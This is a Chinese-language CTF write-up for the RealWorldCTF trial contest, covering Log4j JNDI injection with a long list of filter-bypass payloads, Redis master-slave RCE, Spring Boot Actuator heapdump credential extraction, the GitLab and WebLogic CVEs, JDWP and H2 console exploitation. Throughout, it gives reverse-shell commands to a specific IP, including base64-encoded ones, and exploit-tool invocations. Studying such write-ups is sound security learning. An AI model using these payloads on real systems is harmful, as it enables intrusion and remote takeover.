
realworldctf体验赛
log4flag
看名字就懂了肯定用log4j去打,下载题目附件:
把下载的题目附件下载的war包逆向一下:可以看到有过滤,平常的payload估计不行

${jndi:ldap://domain.com/j}${jndi:ldap:/domain.com/a}${jndi:dns:/domain.com}${jndi:dns://domain.com/j}${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}${${::-j}ndi:rmi://domain.com/j}${jndi:rmi://domainldap.com/j}${${lower:jndi}:${lower:rmi}://domain.com/j}${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}jn${env::-}di:jn${date:}di${date:':'}j${k8s:k5:-ND}i${sd:k5:-:}j${main:\k5:-Nd}i${spring:k5:-:}j${sys:k5:-nD}${lower:i${web:k5:-:}}j${::-nD}i${::-:}j${EnV:K5:-nD}i:j${loWer:Nd}i${uPper::}
找到一些绕过的payload,利用dnslog去验证一下:{lower:jndi}:${lower:rmi}://bc9af93a.dns.1433.eu.org./j}


收到dns解析说明没问题
将反弹shell语句进行base64编码
https://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/116.62.127.33/8888 <&2
编码后:
bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjEyNy4zMy84ODg4IDwmMmA=}|{base64,-d}|{bash,-i}
接着直接:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTI3LjMzLzg4ODggPCYy}|{base64,-d}|{bash,-i}” -A “116.62..“

生成exp:
{lower:jndi}:${lower:rmi}://116.62.127.33:1099/hysq37}
监听端口拿到flag:

Be-a-Database-Hacker
参考原理:https://lonmar.cn/2021/04/10/redis主从复制RCE/
看到是数据库并且端口号为6379,联想到打Redis,搜索一波是Redis 基于主从复制的 RCE 利用方式
参考:https://www.cnblogs.com/Sylon/p/11905625.html
下载exp脚本直接运行
python3 redis-rce.py -r 目的ip -p 目的端口 -L 接受ip -f exp.so
选择 r
然后vps监听一个端口,把shell弹到vps上

the Secrets of Memory
Spring Boot Actuator 未授权抓取密码
漏洞介绍
actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:
| Http 方法 | 路径 | 描述 |
|---|---|---|
| get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
| get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
| get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
| get | /dump | 获取线程活动的快照 |
| get | /env | 获取全部环境属性 |
| get | /env/{name} | 根据名称获取特定的环境属性值 |
| get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
| get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
| get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
| get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
| get | /metrics/{name} | 报告指定名称的应用程序度量值 |
| post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
| get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
漏洞发现
访问 web 应用的 /actuator/env 发现josn泄露,数据库密码是flag
访问/actuator/heapdump下载内存中的数据,抓取密码。这是使用这个工具https://www.eclipse.org/mat/downloads.php
使用 Eclipse Memory Analyzer 工具的 OQL 语句
查询语句:select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains(“password”))spring_boot 2.x

参考:https://www.modb.pro/db/146717
baby flaglab
环境太卡了
这个cve

利用工具:https://github.com/Al1ex/CVE-2021-22205
反弹shell:
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"这条语句意思是代表,对写入成功的sh脚本加执行权限python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"这条语句意思是代表,运行反弹shell脚本
Flag Console
参考
https://www.cnblogs.com/backlion/p/13951858.html


以为要爆破,爆破了半天出不来https://www.anquanke.com/post/id/222018
../绕过进后台
console/images/%252E%252E%252Fconsole.portal

https://github.com/backlion/CVE-2020-14882_ALL
直接上脚本

Java Remote Debugger
JAVA调试协议JDWP实现反弹shell
参考:https://blog.spoock.com/2019/04/20/jdwp-rce/
python2 ./jdwp-shellifier.py -t 139.196.23.201 -p 8888 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjEyNy4zMy84ODg4IDwmMmA=}|{base64,-d}|{bash,-i}'

H2 Database Console 未授权访问
参考:https://blog.csdn.net/zy15667076526/article/details/111413979
这个洞类似log4j
Driver Class:填
javax.naming.InitialContext
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTI3LjMzLzg4ODggPCYy}|{base64,-d}|{bash,-i}” -A “116.62.127.33”
这里使用rmi:

拿到shell

